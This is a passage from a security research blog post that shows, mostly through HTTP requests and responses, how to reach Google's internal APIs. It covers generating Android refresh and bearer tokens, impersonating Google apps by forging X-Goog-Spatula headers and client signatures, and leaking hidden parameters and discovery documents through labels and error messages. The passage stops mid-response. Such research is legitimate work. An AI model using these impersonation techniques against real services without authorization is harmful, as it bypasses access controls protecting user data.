<p>For instance, if we use the API key <code>AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g</code> that we can find from <a href="https://console.cloud.google.com" target="_blank" rel="noopener noreferrer">console.cloud.google.com</a> and try fetching the discovery document for <code>servicemanagement.googleapis.com</code></p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/$discovery/rest</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>servicemanagement.googleapis.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g
<span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com</code></pre><p>The response would have 214k bytes. However, if we try this same request with <code>&amp;labels=PANTHEON</code></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/$discovery/rest?labels=PANTHEON</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>servicemanagement.googleapis.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g
<span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com</code></pre><p>The response now has 329k bytes and there&#39;s a lot more hidden documentation revealed.</p>
<p>Additionally, certain APIs like the Internal People API provide extra permissions for specific API clients. So far, we&#39;ve covered how we can use API keys to fetch discovery documents or access endpoints in the context of Google Cloud projects that have their keys used in Google web services. However, by learning how authorization works on Android, we can get access to the context of a lot more Google Cloud projects.</p>
<h3 id="how-google-api-authentication-works-on-android"><a class="anchor" href="#how-google-api-authentication-works-on-android" aria-hidden="true">#</a>How Google API authentication works on Android</h3><p>If you&#39;ve ever logged into a Google account via Google Play Services (GPS) on an Android device, you might have noticed that all Google apps are able to authenticate as your Google account seamlessly, without having to manually log into each one.</p>
<p>The way this works is your Google account&#39;s Android session is actually tied to a refresh token that&#39;s generated the first time you log in. Unlike on the web where Google internal APIs use cookies for authentication, on Android and iOS scoped bearer tokens generated from a refresh token are used instead.<br>On Android, that same Internal People API request would look something like this:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/$rpc/google.internal.people.v2.minimal.InternalPeopleMinimalService/GetPeople</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>people-pa.clients6.google.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json+protobuf
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>ya29.&lt;redacted&gt;
...</code></pre><p>There is no need for an API key for this request, as the bearer token actually includes the context of the Google API project that you used to generate the bearer token. (this will make more sense once we look into how bearer tokens are generated from an android refresh token)</p>
<p>The interesting thing about some Google APIs is that requests from the context of certain Google Cloud project IDs have extra functionality/permissions enabled just for that project on that API. This is usually based on the requirements of the client (ex. the Google Chat app may need to be able to fetch extra information on other Google users from the Internal People API as compared to something like Google Earth)</p>
<h3 id="android-refresh-tokens-aas-xx"><a class="anchor" href="#android-refresh-tokens-aas-xx" aria-hidden="true">#</a>Android Refresh Tokens (aas/xx)</h3><p>So, how can we generate an Android refresh token to use for testing? It&#39;s actually quite simple. We can simply visit <a href="https://accounts.google.com/EmbeddedSetup" target="_blank" rel="noopener noreferrer">https://accounts.google.com/EmbeddedSetup</a>, go through the authentication flow, and at the end there will be a cookie set called <code>oauth_token</code></p>
<p>We can then do the following request to exchange this oauth_token for an Android refresh token:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/auth</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>android.googleapis.com
<span class="hljs-attribute">User-Agent</span><span class="hljs-punctuation">: </span>com.google.android.gms/243530022
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/x-www-form-urlencoded

<span class="language-dts">androidId=fb213fefa471dcde<span class="hljs-variable">&amp;</span>T<span class="hljs-attr">oken</span><span class="hljs-operator">=</span><span class="hljs-params">&lt;oauth_token&gt;</span><span class="hljs-variable">&amp;service</span>=ac2dm<span class="hljs-variable">&amp;get_accountid</span>=<span class="hljs-number">1</span><span class="hljs-variable">&amp;</span>ACCESS_TOKEN=<span class="hljs-number">1</span><span class="hljs-variable">&amp;</span>callerP<span class="hljs-attr">kg</span><span class="hljs-operator">=</span>com.google.android.gms<span class="hljs-variable">&amp;add_account</span>=<span class="hljs-number">1</span><span class="hljs-variable">&amp;</span>callerS<span class="hljs-attr">ig</span><span class="hljs-operator">=</span><span class="hljs-number">38918</span>a453d07199354f8b19af05ec6562ced5788</span></code></pre><p>The <code>androidId</code> is just any random 16 character hex string. At the moment you don&#39;t require this for generating a bearer token, but this could change in the future so it&#39;s advisable to store it along with your Android refresh token.</p>
<blockquote>
<p>On newer Android versions, a DroidGuard token is also supplied to this request. My guess is that it&#39;s likely an anti-abuse measure. However, they&#39;re unable to enforce this token without breaking Google Play Services support for older Android devices. It&#39;s possible this could be changed in the future though.</p>
</blockquote>
<p>The response to the request will look something like this:</p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>text/plain; charset=utf-8

<span class="language-routeros"><span class="hljs-attribute">Token</span>=aas_et/&lt;redacted&gt;
<span class="hljs-attribute">Auth</span>=g.a000&lt;redacted&gt;
<span class="hljs-attribute">SID</span>=BAD_COOKIE
<span class="hljs-attribute">LSID</span>=BAD_COOKIE
<span class="hljs-attribute">services</span>=mail,hist,dynamite,cl,youtube,jotspot,uif,multilogin,analytics
<span class="hljs-attribute">Email</span>=&lt;redacted&gt;@gmail.com
<span class="hljs-attribute">GooglePlusUpdate</span>=0
<span class="hljs-attribute">firstName</span>=&lt;redacted&gt;
<span class="hljs-attribute">lastName</span>=&lt;redacted&gt;
capabilities.<span class="hljs-attribute">canHaveUsername</span>=1
capabilities.<span class="hljs-attribute">canHavePassword</span>=1
<span class="hljs-built_in">..</span>.</span></code></pre><p>You can actually see this Android device on <a href="https://myaccount.google.com/device-activity" target="_blank" rel="noopener noreferrer">https://myaccount.google.com/device-activity</a></p>
<h3 id="generating-a-bearer-token"><a class="anchor" href="#generating-a-bearer-token" aria-hidden="true">#</a>Generating a Bearer Token</h3><p>Now that you have an Android refresh token, you can use this to generate a bearer token in the context of an Android app&#39;s Google Cloud project with the scopes that you require.</p>
<p>This is an example request to generate scopes for Google Play Games to use with <code>playgateway-pa.googleapis.com</code></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/auth</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>android.googleapis.com
<span class="hljs-attribute">User-Agent</span><span class="hljs-punctuation">: </span>GoogleAuth/1.4
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>808
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/x-www-form-urlencoded

<span class="language-sas">androidId=fb213fefa471dcde<span class="hljs-variable">&amp;app</span>=com.google.android.play.games<span class="hljs-variable">&amp;service</span>=oauth2:https://www.googleapis.com/auth/games.firstparty https://www.googleapis.com/auth/googleplay<span class="hljs-variable">&amp;client_sig</span>=38918a453d07199354f8b19af05ec6562ced5788<span class="hljs-variable">&amp;has_permission</span>=1<span class="hljs-variable">&amp;Token</span>=&lt;redacted&gt;</span></code></pre><p>Let&#39;s breakdown everything in that request:</p>
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Explanation</th>
</tr>
</thead>
<tbody><tr>
<td>android_id</td>
<td>This isn't validated, it can be any 16 character hex string</td>
</tr>
<tr>
<td>app</td>
<td>Package name of the app whose cloud project context you wish to use.</td>
</tr>
<tr>
<td>service</td>
<td>Space separated scopes</td>
</tr>
<tr>
<td>client_sig</td>
<td>SHA1 hash in hex format of the app's signature</td>
</tr>
<tr>
<td>has_permission</td>
<td>Only required on few android clients that don't have auto mode enabled for them.</td>
</tr>
<tr>
<td>Token</td>
<td>Your Android refresh token</td>
</tr>
</tbody></table><blockquote>
<p>It&#39;s actually possible to omit <code>client_sig</code> and <code>app</code> for certain scopes, but you wouldn&#39;t have the context of the Google API project and this does not work for most scopes.</p>
</blockquote>
<p>The first problem we have is, let&#39;s say we want to get authentication on the following Google Internal People API endpoint: <code>https://people-pa.googleapis.com/v2/people</code> to start playing around with it, how would we know what scopes this endpoint needs?</p>
<p>In this case, there&#39;s a <a href="https://people-pa.googleapis.com/$discovery/rest" target="_blank" rel="noopener noreferrer">public discovery document</a> that lists all the endpoints and the scopes for each of them, but many Google APIs may require an API key to access the discovery document which we may not always have (ex. <a href="https://gameswhitelisted.googleapis.com/$discovery/rest" target="_blank" rel="noopener noreferrer">gameswhitelisted</a>).</p>
<p>Turns out, if we send a request to an endpoint with a bearer token with insufficient scopes, it actually tells us all the scopes we need:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v2/people</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>people-pa.googleapis.com
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>Bearer ya29.&lt;redacted&gt;</code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">403</span> Forbidden
<span class="hljs-attribute">Www-Authenticate</span><span class="hljs-punctuation">: </span>Bearer realm=&quot;https://accounts.google.com/&quot;, error=&quot;insufficient_scope&quot;, scope=&quot;https://www.googleapis.com/auth/peopleapi.legacy.readwrite https://www.googleapis.com/auth/plus.peopleapi.readwrite https://www.googleapis.com/auth/peopleapi.readonly https://www.googleapis.com/auth/peopleapi.readwrite openid https://www.googleapis.com/auth/plus.me&quot;
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8

<span class="language-jboss-cli">{
  <span class="hljs-string">&quot;error&quot;</span>: {
    <span class="hljs-string">&quot;code&quot;</span>: 403,
    <span class="hljs-string">&quot;message&quot;</span>: <span class="hljs-string">&quot;Request had insufficient authentication scopes.&quot;</span>,
    <span class="hljs-string">...</span>
        <span class="hljs-string">&quot;metadata&quot;</span>: {
          <span class="hljs-string">&quot;service&quot;</span>: <span class="hljs-string">&quot;people-pa.googleapis.com&quot;</span>,
          <span class="hljs-string">&quot;method&quot;</span>: <span class="hljs-string">&quot;google.internal.people.v2.InternalPeopleService.GetPeople&quot;</span>
        }
    <span class="hljs-string">...</span>
  }
}
</span></code></pre><blockquote>
<p>Something interesting to note: <code>google.internal.people.v2.InternalPeopleService.GetPeople</code> is actually the gRPC service name of the endpoint.</p>
</blockquote>
<p>To simplify this process, I wrote a Go script that I&#39;ve <a href="https://github.com/ddd/req2proto/tree/main/tools/gapi-service" target="_blank" rel="noopener noreferrer">published on GitHub</a> that we can use to easily get this information:</p>
<pre><code class="hljs language-bash">$ <span class="hljs-built_in">export</span> ANDROID_REFRESH_TOKEN=<span class="hljs-string">&quot;&lt;redacted&gt;&quot;</span>
$ git <span class="hljs-built_in">clone</span> https://github.com/ddd/req2proto
$ <span class="hljs-built_in">cd</span> tools/gapi-service
$ go build <span class="hljs-comment"># this requires golang to be installed, see https://go.dev/doc/install</span>
$ ./gapi-service -e https://people-pa.googleapis.com/v2/people
scopes: https://www.googleapis.com/auth/peopleapi.legacy.readwrite https://www.googleapis.com/auth/plus.peopleapi.readwrite https://www.googleapis.com/auth/peopleapi.readwrite
method: google.internal.people.v2.InternalPeopleService.InsertPerson
service: people-pa.googleapis.com</code></pre><p>Now that we have the scopes we need. Let&#39;s say we want to call this endpoint in the context of Google Chat. We can get the package name <code>com.google.android.apps.dynamite</code> from the Play Store web URL (<a href="https://play.google.com/store/apps/details?id=com.google.android.apps.dynamite" target="_blank" rel="noopener noreferrer">https://play.google.com/store/apps/details?id=com.google.android.apps.dynamite</a>) but we still need the <code>client_sig</code> of the app.</p>
<p>While this is true for most cases, the client signature isn&#39;t necessarily always the SHA1 hash of the target app&#39;s signature. To solve this problem, I collected the package names as well as SHA1 client signature of all Google apps and wrote a <a href="https://github.com/ddd/req2proto/tree/main/tools/aas-rs" target="_blank" rel="noopener noreferrer">Rust program</a> that bruteforces all SHA1 signature and package name combinations to find working ones. You can find the output of this script <a href="https://github.com/ddd/req2proto/blob/main/tools/data/android_clients.json" target="_blank" rel="noopener noreferrer">here</a></p>
<p>We can simply search this file for <code>com.google.android.apps.dynamite</code> and we can see that the client_sig <code>519c5a17a60596e6fe5933b9cb4285e7b0e5eb7b</code> works for this app:</p>
<pre><code class="hljs language-json"><span class="hljs-attr">&quot;com.google.android.apps.dynamite&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;spatula&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;CkAKIGNvbS5nb29nbGUuYW5kcm9pZC5hcHBzLmR5bmFtaXRlGhxVWnhhRjZZRmx1YitXVE81eTBLRjU3RGw2M3M9GLingOeJmKD6Ng==&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;sig&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;519c5a17a60596e6fe5933b9cb4285e7b0e5eb7b&quot;</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
</code></pre><h3 id="a-word-on-x-goog-spatula"><a class="anchor" href="#a-word-on-x-goog-spatula" aria-hidden="true">#</a>A word on X-Goog-Spatula</h3><p>Even though we may have authentication in the context of an app&#39;s Google API project, we can&#39;t just fetch the discovery document with it. That&#39;s where <code>X-Goog-Spatula</code> comes in. If you&#39;ve ever looked at Android traffic to Google APIs, you might have noticed this header.</p>
<p>It&#39;s actually just a keyless authentication header. Similar to an API key, it&#39;s used to provide context to a specific Google Cloud project.</p>
<p>They look like this (base64-encoded protobuf):<br><code>Cj0KHWNvbS5nb29nbGUuYW5kcm9pZC5wbGF5LmdhbWVzGhxPSkdLUlQwSEdaTlUrTEdhOEY3R1ZpenRWNGc9GLingOeJmKD6Ng==</code></p>
<p>If we look at how this is formed:</p>
<pre><code class="hljs language-proto">$ echo -n <span class="hljs-string">&quot;Cj0KHWNvbS5nb29nbGUuYW5kcm9pZC5wbGF5LmdhbWVzGhxPSkdLUlQwSEdaTlUrTEdhOEY3R1ZpenRWNGc9GLingOeJmKD6Ng==&quot;</span> | base64 -d | protoc --decode_raw
<span class="hljs-number">1</span> {
  <span class="hljs-number">1</span>: <span class="hljs-string">&quot;com.google.android.play.games&quot;</span> <span class="hljs-comment">// package name</span>
  <span class="hljs-number">3</span>: <span class="hljs-string">&quot;6Zi8TwQNyiOD+us24/5aYpwxt5A=&quot;</span> <span class="hljs-comment">// base64 of SHA1 hash of the app signature</span>
}
<span class="hljs-number">3</span>: <span class="hljs-number">3959931537119515576</span> <span class="hljs-comment">// this is generated from DroidGuard using the device_key</span></code></pre><p>This example is from some Spatula header I <a href="https://github.com/4kumano/reftoken/blob/99d1d980c0015c8b1113cb65b02ee0ede96ae471/sumber.txt" target="_blank" rel="noopener noreferrer">found on the internet</a></p>
<p>If you wish to dive into how this DroidGuard value is generated, there&#39;s <a href="https://gist.github.com/Romern/e58e634e4d70b2be5b57d7abdb77f7ef" target="_blank" rel="noopener noreferrer">an awesome gist</a> on this, but we don&#39;t actually need to care about that in order to utilize it. As it turns out, this value isn&#39;t actually validated, and we can impersonate any client we want by simply changing the package name and SHA1 hash of the app signature.</p>
<p>Since just like API keys, they provide context of a Google Cloud project, we&#39;re actually able to use this to fetch discovery documents of several Android Google APIs like <code>gameswhitelisted.googleapis.com</code>:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http">GET /$discovery/rest
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>gameswhitelisted.googleapis.com
<span class="hljs-attribute">X-Goog-Spatula</span><span class="hljs-punctuation">: </span>Cj0KHWNvbS5nb29nbGUuYW5kcm9pZC5wbGF5LmdhbWVzGhxPSkdLUlQwSEdaTlUrTEdhOEY3R1ZpenRWNGc9GLingOeJmKD6Ng==</code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8

<span class="language-jboss-cli">{
  <span class="hljs-string">&quot;kind&quot;</span>: <span class="hljs-string">&quot;discovery#restDescription&quot;</span>,
  <span class="hljs-string">&quot;description&quot;</span>: <span class="hljs-string">&quot;Internal-only 1P access to the oneup APIs.&quot;</span>,
  <span class="hljs-string">...</span></span></code></pre><blockquote>
<p>We can actually use this along with Cookie authentication on the web, as a direct replacement for <code>X-Goog-Api-Key</code> to get us access to the context of an Android app&#39;s Google Cloud project</p>
</blockquote>
<h3 id="leaking-request-parameters-through-error-messages"><a class="anchor" href="#leaking-request-parameters-through-error-messages" aria-hidden="true">#</a>Leaking request parameters through error messages</h3><p>Occasionally we may come across Google APIs where there&#39;s seemingly no way to access the discovery document. This could be due to not being able to find a working API key/spatula, 404 page or otherwise. One such example is YouTube&#39;s Internal API:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/$discovery/rest</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>youtubei.googleapis.com</code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">405</span> Method Not Allowed
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>text/html; charset=UTF-8
<span class="hljs-attribute">Referrer-Policy</span><span class="hljs-punctuation">: </span>no-referrer
...</code></pre><blockquote>
<p>Fun fact: there&#39;s actually 2 workaround methods to leaking the discovery document of the Innertube API. Are you able to find them? :)<br><strong>Update 2025-03-01:</strong> Google has <a href="https://x.com/brutecat/status/1894282218929037727" target="_blank" rel="noopener noreferrer">removed</a> both the prod (<a href="https://tracker.brute.network/api/documents/youtubei.googleapis.com" target="_blank" rel="noopener noreferrer">archive</a>) and staging (<a href="https://tracker.brute.network/api/documents/green-youtubei.sandbox.googleapis.com" target="_blank" rel="noopener noreferrer">archive</a>) discovery documents.</p>
</blockquote>
<p>If we take a look at a random Innertube API endpoint, such as <code>/youtubei/v1/browse</code> endpoint and clean it up:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/youtubei/v1/browse</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>youtubei.googleapis.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>164

<span class="language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;context&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;client&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;clientName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;WEB&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;clientVersion&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2.20241101.01.00&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;browseId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;UCX6OQ3DkcsbYNE6H8uQQuVA&quot;</span>
<span class="hljs-punctuation">}</span></span></code></pre><p>The request payload is in the json format. The <code>browseId</code> seems to be accepting the YouTube Channel ID as a string. What happens if we change that to a boolean like <code>true</code></p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/youtubei/v1/browse</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>youtubei.googleapis.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>141

<span class="language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;context&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;client&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;clientName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;WEB&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;clientVersion&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2.20241101.01.00&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;browseId&quot;</span><span class="hljs-punctuation">:</span><span class="hljs-literal"><span class="hljs-keyword">true</span></span>
<span class="hljs-punctuation">}</span></span></code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">400</span> Bad Request
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8
<span class="hljs-attribute">Server</span><span class="hljs-punctuation">: </span>scaffolding on HTTPServer2

<span class="language-prolog">{
  <span class="hljs-string">&quot;error&quot;</span>: {
    <span class="hljs-string">&quot;code&quot;</span>: <span class="hljs-number">400</span>,
    <span class="hljs-string">&quot;message&quot;</span>: <span class="hljs-string">&quot;Invalid value at &#x27;browse_id&#x27; (TYPE_STRING), true&quot;</span>,
    <span class="hljs-string">&quot;errors&quot;</span>: [
      {
        <span class="hljs-string">&quot;message&quot;</span>: <span class="hljs-string">&quot;Invalid value at &#x27;browse_id&#x27; (TYPE_STRING), true&quot;</span>,
        <span class="hljs-string">&quot;reason&quot;</span>: <span class="hljs-string">&quot;invalid&quot;</span>
      }
    ],
    <span class="hljs-string">&quot;status&quot;</span>: <span class="hljs-string">&quot;INVALID_ARGUMENT&quot;</span>,
    <span class="hljs-string">&quot;details&quot;</span>: [
      {
        <span class="hljs-string">&quot;@type&quot;</span>: <span class="hljs-string">&quot;type.googleapis.com/google.rpc.BadRequest&quot;</span>,
        <span class="hljs-string">&quot;fieldViolations&quot;</span>: [
          {
            <span class="hljs-string">&quot;field&quot;</span>: <span class="hljs-string">&quot;browse_id&quot;</span>,
            <span class="hljs-string">&quot;description&quot;</span>: <span class="hljs-string">&quot;Invalid value at &#x27;browse_id&#x27; (TYPE_STRING), true&quot;</span>
          }
        ]
      }
    ]
  }
}</span></code></pre><p>It tells us that <code>browse_id</code> is a TYPE_STRING. So awesome, we can leak the parameter type if we know the parameter name. But how can we take this a step further?</p>
<p>As it turns out, in Google, there&#39;s 4 different content types:</p>
<ul>
<li>application/json (aka. JSON)</li>
<li>application/json+protobuf (aka. ProtoJson)</li>
<li>application/x-protobuf (aka. <a href="https://googleapis.github.io/HowToRPC.html" target="_blank" rel="noopener noreferrer">Proto over HTTP fallback</a>)</li>
<li>application/grpc</li>
</ul>
<p>In Google, all endpoints are defined in <code>.proto</code> files such that they can be queried over gRPC. To allow for JSON, ProtoJson and Proto over HTTP, there&#39;s an Extensible Service Proxy (ESP) that <a href="https://cloud.google.com/endpoints/docs/grpc/transcoding" target="_blank" rel="noopener noreferrer">transcodes these requests to gRPC</a> before they hit the actual Google microservice.</p>
<p>For instance, if a request&#39;s JSON payload looks like this:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;John Smith&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;age&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">25</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;favoriteColor&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;orange&quot;</span>
<span class="hljs-punctuation">}</span>
</code></pre><p>The protobuf representation of this would look like this:</p>
<pre><code class="hljs language-proto"><span class="hljs-keyword">message </span><span class="hljs-title class_">Request</span> {
  <span class="hljs-type">string</span> name = <span class="hljs-number">1</span>;
  <span class="hljs-type">string</span> age = <span class="hljs-number">2</span>;
  <span class="hljs-type">string</span> favourite_color = <span class="hljs-number">3</span>;
}</code></pre><p>The idea with protobuf is that sending <code>&quot;name&quot;</code>, <code>&quot;age&quot;</code> and <code>&quot;favoriteColor&quot;</code> from the client to the server in every request is a waste of bandwidth especially if the server knows what to expect from the client. Hence, protobuf is just a binary format compressing the data as much as possible. It does this by assigning everything an index (ex. name is 1, age is 2 etc.)</p>
<p>ProtoJson is similar to this, except you just send an array rather than compressing it to protobuf:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">[</span>
  <span class="hljs-string">&quot;John Smith&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-number">25</span><span class="hljs-punctuation">,</span>
  <span class="hljs-string">&quot;orange&quot;</span>
<span class="hljs-punctuation">]</span></code></pre><p>You can probably see where we&#39;re going with this, what if we just sent the following to this endpoint:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">[</span><span class="hljs-number">1</span><span class="hljs-punctuation">,</span><span class="hljs-number">2</span><span class="hljs-punctuation">,</span><span class="hljs-number">3</span><span class="hljs-punctuation">,</span><span class="hljs-number">4</span><span class="hljs-punctuation">,</span><span class="hljs-number">5</span><span class="hljs-punctuation">,</span><span class="hljs-number">6</span><span class="hljs-punctuation">,</span><span class="hljs-number">7</span><span class="hljs-punctuation">,</span><span class="hljs-number">8</span><span class="hljs-punctuation">,</span><span class="hljs-number">9</span><span class="hljs-punctuation">,</span><span class="hljs-number">10</span><span class="hljs-punctuation">,</span><span class="hljs-number">11</span><span class="hljs-punctuation">,</span><span class="hljs-number">12</span><span class="hljs-punctuation">,</span><span class="hljs-number">13</span><span class="hljs-punctuation">,</span><span class="hljs-number">14</span><span class="hljs-punctuation">,</span><span class="hljs-number">15</span><span class="hljs-punctuation">,</span><span class="hljs-number">16</span><span class="hljs-punctuation">,</span><span class="hljs-number">17</span><span class="hljs-punctuation">,</span><span class="hljs-number">18</span><span class="hljs-punctuation">,</span><span class="hljs-number">19</span><span class="hljs-punctuation">,</span><span class="hljs-number">20</span><span class="hljs-punctuation">,</span><span class="hljs-number">21</span><span class="hljs-punctuation">,</span><span class="hljs-number">22</span><span class="hljs-punctuation">,</span><span class="hljs-number">23</span><span class="hljs-punctuation">,</span><span class="hljs-number">24</span><span class="hljs-punctuation">,</span><span class="hljs-number">25</span><span class="hljs-punctuation">,</span><span class="hljs-number">26</span><span class="hljs-punctuation">,</span><span class="hljs-number">27</span><span class="hljs-punctuation">,</span><span class="hljs-number">28</span><span class="hljs-punctuation">,</span><span class="hljs-number">29</span><span class="hljs-punctuation">,</span><span class="hljs-number">30</span><span class="hljs-punctuation">]</span></code></pre><p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/youtubei/v1/browse</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>youtubei.googleapis.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json+protobuf
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>22

<span class="language-dns">[<span class="hljs-number">1,2,3,4</span>,<span class="hljs-number">5,6,7,8</span>,<span class="hljs-number">9,10,11,12</span>,<span class="hljs-number">13,14,15,16</span>,<span class="hljs-number">17,18,19,20</span>,<span class="hljs-number">21,22,23,24</span>,<span class="hljs-number">25,26,27,28</span>,<span class="hljs-number">29</span>,<span class="hljs-number">30</span>]</span></code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">400</span> Bad Request
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8
<span class="hljs-attribute">Server</span><span class="hljs-punctuation">: </span>scaffolding on HTTPServer2

<span class="language-nix">{
  <span class="hljs-string">&quot;error&quot;</span>: {
    <span class="hljs-string">&quot;code&quot;</span>: <span class="hljs-number">400</span>,
